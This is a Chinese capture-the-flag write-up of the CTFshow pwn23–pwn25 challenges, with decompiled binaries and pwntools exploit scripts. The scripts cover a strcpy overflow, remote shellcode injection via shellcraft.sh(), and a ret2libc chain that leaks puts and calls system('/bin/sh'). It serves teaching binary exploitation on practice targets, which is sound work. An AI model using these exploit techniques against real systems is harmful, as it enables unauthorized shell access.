CTFshow-pwn入门-前置基础pwn23-pwn25

pwn23-25的题目会涉及到ret2shellcode、ret2libc等内容,本篇文章只会侧重研究这几道题目的wp,不会过多涉及到ret2shellcode、ret2libc的基本原理,等有时间再来写关于ret2libc、ret2shellcode…的相关内容。大家可以参考CTFwiki的文章去慢慢学习。

CTFwiki:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2libc

pwn23

在这里插入图片描述
首先我们还是将pwn文件下载下来拖入虚拟机加上可执行权限,然后使用checksec命令查看文件的信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
32位的,直接拉进ida反编译。

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // eax
  int v5; // [esp-Ch] [ebp-2Ch]
  int v6; // [esp-8h] [ebp-28h]
  int v7; // [esp-4h] [ebp-24h]
  FILE *stream; // [esp+4h] [ebp-1Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(flag, 64, stream);
  signal(11, (__sighandler_t)sigsegv_handler);
  v3 = getegid();
  setresgid(v3, v3, v3, v5, v6, v7, v3);
  puts(asc_8048940);
  puts(asc_80489B4);
  puts(asc_8048A30);
  puts(asc_8048ABC);
  puts(asc_8048B4C);
  puts(asc_8048BD0);
  puts(asc_8048C64);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : No canary found                                         ");
  puts("    * *************************************                           ");
  puts("How to input ?");
  if ( argc > 1 )
    ctfshow((char *)argv[1]);
  return 0;
}
//ctfshow
char *__cdecl ctfshow(char *src)
{
  char dest[58]; // [esp+Ah] [ebp-3Eh] BYREF

  return strcpy(dest, src);
}

代码的大致逻辑就是先本地读取/ctfshow_flag文件,然后打印一段信息,判断我们输入的参数是否大于1,如果大于1进入ctfshow()函数并且将我们输入的第一个参数作为ctfshow函数的参数,ctfshow函数接收一个src参数将其值赋给dest。这就大概的代码逻辑。那我们如何拿到flag呢?

我们首先要知道ctfshow函数用到了strcpy()函数,而这个函数是可以发生溢出的!并且src就是我们输入的参数,使我们可控的,并且他没有被限制长度,代表我们可以利用溢出漏洞!

我们先使用ssh连接服务器。
在这里插入图片描述
我们进来之后,也就是直接给了我们shell,但是我们被限制不能读取/ctfshow_flag文件,所以我们还得依靠pwn文件来读取,这个pwnme就是我们下载的pwn文件。

我们的思路是溢出,那么我们载运行该文件是输入参数是我们就要尽可能的输入更多的字符串以让程序发生溢出。
在这里插入图片描述
可以看到,我输入了许多的a字符,致使程序溢出,然后程序就为我们输出了flag!

pwn24

在这里插入图片描述
我们首先是下载pwn文件,然后给它加上可执行权限,使用checksec命令查看文件信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
32位的直接拖进ida反编译。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  puts(asc_80486E0);
  puts(asc_8048754);
  puts(asc_80487D0);
  puts(asc_804885C);
  puts(asc_80488EC);
  puts(asc_8048970);
  puts(asc_8048A04);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Linux_Security_Mechanisms                               ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : NX disabled & Has RWX segments                          ");
  puts("    * *************************************                           ");
  ctfshow(&argc);
  return 0;
}

可能是我ida的问题,这里ctfshow()函数,反编译不出来,所以只能看汇编代码凑合了。

0x080484c6 <+0>:	push   ebp
   0x080484c7 <+1>:	mov    ebp,esp
   0x080484c9 <+3>:	push   ebx
   0x080484ca <+4>:	sub    esp,0x84
   0x080484d0 <+10>:	call   0x8048400 <__x86.get_pc_thunk.bx>
   0x080484d5 <+15>:	add    ebx,0x1b2b
   0x080484db <+21>:	sub    esp,0x4
   0x080484de <+24>:	push   0x100
   0x080484e3 <+29>:	lea    eax,[ebp-0x88]
   0x080484e9 <+35>:	push   eax
   0x080484ea <+36>:	push   0x0
   0x080484ec <+38>:	call   0x8048360 <read@plt>
   0x080484f1 <+43>:	add    esp,0x10
   0x080484f4 <+46>:	sub    esp,0xc
   0x080484f7 <+49>:	lea    eax,[ebp-0x88]
   0x080484fd <+55>:	push   eax
   0x080484fe <+56>:	call   0x8048370 <puts@plt>
   0x08048503 <+61>:	add    esp,0x10
   0x08048506 <+64>:	lea    eax,[ebp-0x88]
   0x0804850c <+70>:	call   eax
   0x0804850e <+72>:	nop
   0x0804850f <+73>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x08048512 <+76>:	leave  
   0x08048513 <+77>:	ret 

在这里插入图片描述
分析知道,pwn文件的NX是关掉的,代表栈可执行。

而开始我们将栈中地址ebp-0x88赋给eax,并在该地址里写入我们输入的东西,最后程序会执行这里边的东西,也就是会执行我们写入的东西,如果我们写入的是shellcode,那么程序也就会执行我们的shellcode!

并且,该题目也提示我们使用pwntools的shellcraft模块来进行攻击,这部赤裸裸的诱惑嘛!

开始编写exp:

from pwn import *

# 与目标服务器的pwn文件建立进程
p = remote("pwn.challenge.ctf.show", "28178") 

# 使用shellcraft模块生成shellcode
shell = asm(shellcraft.sh()) 
# 向远程发送数据(我们的shellcode)
p.sendline(shell)
# 建立交互式对话
p.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

pwn25

在这里插入图片描述
直接说NX开启,让我们使用ret2libc,那我们就听他们的,用ret2libc吧!

首先将文件下载托到虚拟机加上可执行权限,然后使用checksec查看文件信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
32位的,直接拖进ida反编译!

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stdout, 0, 2, 0);
  ctfshow(&argc);
  logo();
  write(0, "Hello CTFshow!\n", 0xEu);
  return 0;
}
// ctfshow
ssize_t ctfshow()
{
  char buf[132]; // [esp+0h] [ebp-88h] BYREF

  return read(0, buf, 0x100u);
}

大概的代码逻辑呢,就是先通过ctfshow()函数,读入我们输入的字符串,注意看大家,读入的buf是132个长度,而read()函数限制我们读入的长度位0x100,也就是256个长度。代表肯定会溢出,这个地方就是利用点。执行完ctfshow()就会输出一些其他无关紧要的东西了。

OK,既然要ret2libc,我们就ret2libc hhhhh!

我们首先看一下plt表中的函数:

objdump -d -j .plt pwn

在这里插入图片描述
我们看到plt表中含有puts函数跟write函数,那got表中也一定有他俩,那我们就使用puts函数来输出函数的内存地址吧!

exp如下:

# 导入相关的库
from pwn import *
from LibcSearcher import *

# 打印调试信息
context.log_level = 'debug'

# 建立连接
p = remote("pwn.challenge.ctf.show", "28121")
elf = ELF("./pwn")

# 溢出偏移地址
offset = 0x88 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
# got表中puts函数的地址
puts_got = elf.got['puts']

# payload:0x88+0x4个无用填充字符覆盖到返回地址,
# 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数,
# main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞
# puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址
payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
# 发送payload
p.sendline(payload)
# 接收puts函数输出的puts函数在内存的地址
puts_addr = u32(p.recv()[0:4])
print hex(puts_addr)

# 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址
libc = LibcSearcher("puts",puts_addr)
# 找到libc中的puts函数地址之后,将内存的puts函数地址减去libc中的puts函数地址就得到了libc的基地址
libc_base = puts_addr - libc.dump("puts")
print hex(libc_base)
# 使用libc.dump("system")找到libc中的system函数地址,再加上基地址就得到system函数在内存的地址
system_addr = libc_base + libc.dump("system")
# 使用libc.dump("str_bin_sh")找到libc中的"/bin/sh"字符串地址,再加上基地址就得到"/bin/sh"字符串在内存的地址
binsh_addr = libc_base + libc.dump("str_bin_sh")
# payload:填充栈空间到返回地址,将返回地址覆盖为system函数的地址
# 然后填充执行system函数之后的返回地址,填充什么都可以,但是长度必须为4
# 最后填入system的参数“/bin/sh”
payload = offset * 'a' + p32(system_addr) + 'a' * 4 + p32(binsh_addr)
p.sendline(payload)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
成功拿到flag!

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值